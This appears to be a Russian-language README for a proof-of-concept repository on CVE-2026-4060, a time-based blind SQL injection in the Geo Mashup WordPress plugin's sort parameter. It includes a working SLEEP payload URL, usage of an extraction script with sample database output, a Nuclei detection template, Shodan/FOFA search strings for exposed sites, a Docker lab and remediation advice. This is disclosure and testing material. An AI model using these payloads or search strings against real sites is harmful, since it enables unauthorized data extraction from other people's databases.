
Доказательство концепции для CVE-2026-4060: неаутентифицированная временная слепая SQL-инъекция в плагине Geo Mashup для WordPress через предложение ORDER BY. Включает скрипт эксплуатации, лабораторную среду и шаблон обнаружения Nuclei.
Неаутентифицированные злоумышленники могут внедрять произвольный SQL в предложение
ORDER BYчерез параметрsortконечной точкиrender-mapплагина Geo Mashup, что позволяет слепое извлечение конфиденциальной информации из базы данных на основе задержек по времени.
Параметр sort, принимаемый конечной точкой render-map, передаётся напрямую в вызов $wpdb->get_results() без очистки:
// render-map.php (упрощено)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
Поскольку $sort интерполируется как есть, злоумышленник может внедрить подзапрос в предложение ORDER BY. WordPress wpdb экранирует одинарные кавычки, поэтому PoC использует ORD(SUBSTRING(...)) с числовыми сравнениями, чтобы обойти это ограничение и выполнить слепое извлечение на основе времени.
Уязвимая конечная точка:
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
┌─────────────────────────────────┐
│ Хост (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
Geo Mashup 1.13.18 активен в админке WordPress:

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
setup.sh сделает следующее:
После завершения:
http://localhost:8080http://localhost:8080/wp-admin (пользователь: admin / пароль: admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
Задержка ответа около 8 секунд подтверждает SQL-инъекцию в ORDER BY.
# По умолчанию — только результат извлечения
python3 poc.py --url http://localhost:8080
# Подробный вывод — показывать каждый пейлоад, время ответа и извлечённый символ
python3 poc.py --url http://localhost:8080 --verbose
# Только подтверждение SQLi, без извлечения данных
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
Внедрение подзапроса SLEEP(8) через параметр sort вызывает задержку ответа ~8 секунд.
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

PoC извлекает данные посимвольно с помощью сравнений ORD(SUBSTRING(...)): отправка пейлоада → измерение времени ответа → подтверждение символа при срабатывании SLEEP.
python3 poc.py --url http://localhost:8080 --verbose

Извлечённые данные:
| Запрос | Результат |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
Scan completed in 8.07s. 1 matches found.
Шаблон Nuclei использует двухэтапный процесс для предотвращения ложных срабатываний.
Если readme.txt возвращает 404 на шаге 1, сканирование завершается немедленно без отправки SQL-пейлоада.
Scan completed in 62ms. 0 matches found. ✅
Проверка версии плагина через readme.txt:

Если compare_versions(version, '<= 1.13.18') не выполняется, шаг 2 полностью пропускается.
Scan completed in 19ms. 0 matches found. ✅
| Действие | Подробности |
|---|---|
| Обновление | Обновить Geo Mashup до версии 1.13.19 или новее |
| Временное | Деактивировать плагин до применения обновления |
Коммит исправления: plugins.trac.wordpress.org/changeset/3503627
Шаблон Nuclei: nuclei/CVE-2026-4060.yaml
Процесс обнаружения:
Шаг 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ подтвердить существование плагина + версию <= 1.13.18
Шаг 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ статус 200 + GeoMashup.createMap + длительность >= 8s
Shodan / FOFA:
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| Дата | Событие |
|---|---|
| 2026-04 | Уязвимость обнаружена |
| 2026-04 | Сообщено автору плагина |
| 2026-05 | Выпущен патч Geo Mashup 1.13.19 |
| 2026-05-14 | Назначен CVE и раскрытие публично |
Этот репозиторий предназначен только для образовательных целей и авторизованного тестирования безопасности.
Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Автор не несет ответственности за любое неправомерное использование этого материала.
| Поле | Детали |
|---|
| CVE | CVE-2026-4060 |
| Плагин | Geo Mashup от cyberhobo |
| Затронутые версии | ≤ 1.13.18 |
| Исправлено в | 1.13.19 |
| CVSS v3.1 | 7.5 (Высокий) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — Некорректная нейтрализация специальных элементов в SQL |
| Требуется аутентификация | Нет (неаутентифицированный) |
| Компонент | Версия |
|---|
| ОС | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18 (уязвимая) |
| Python | 3.x (для poc.py) |
| Nuclei | v3.8.0 |
Блокировать шаблоны внедрения подзапросов в предложениях ORDER BY |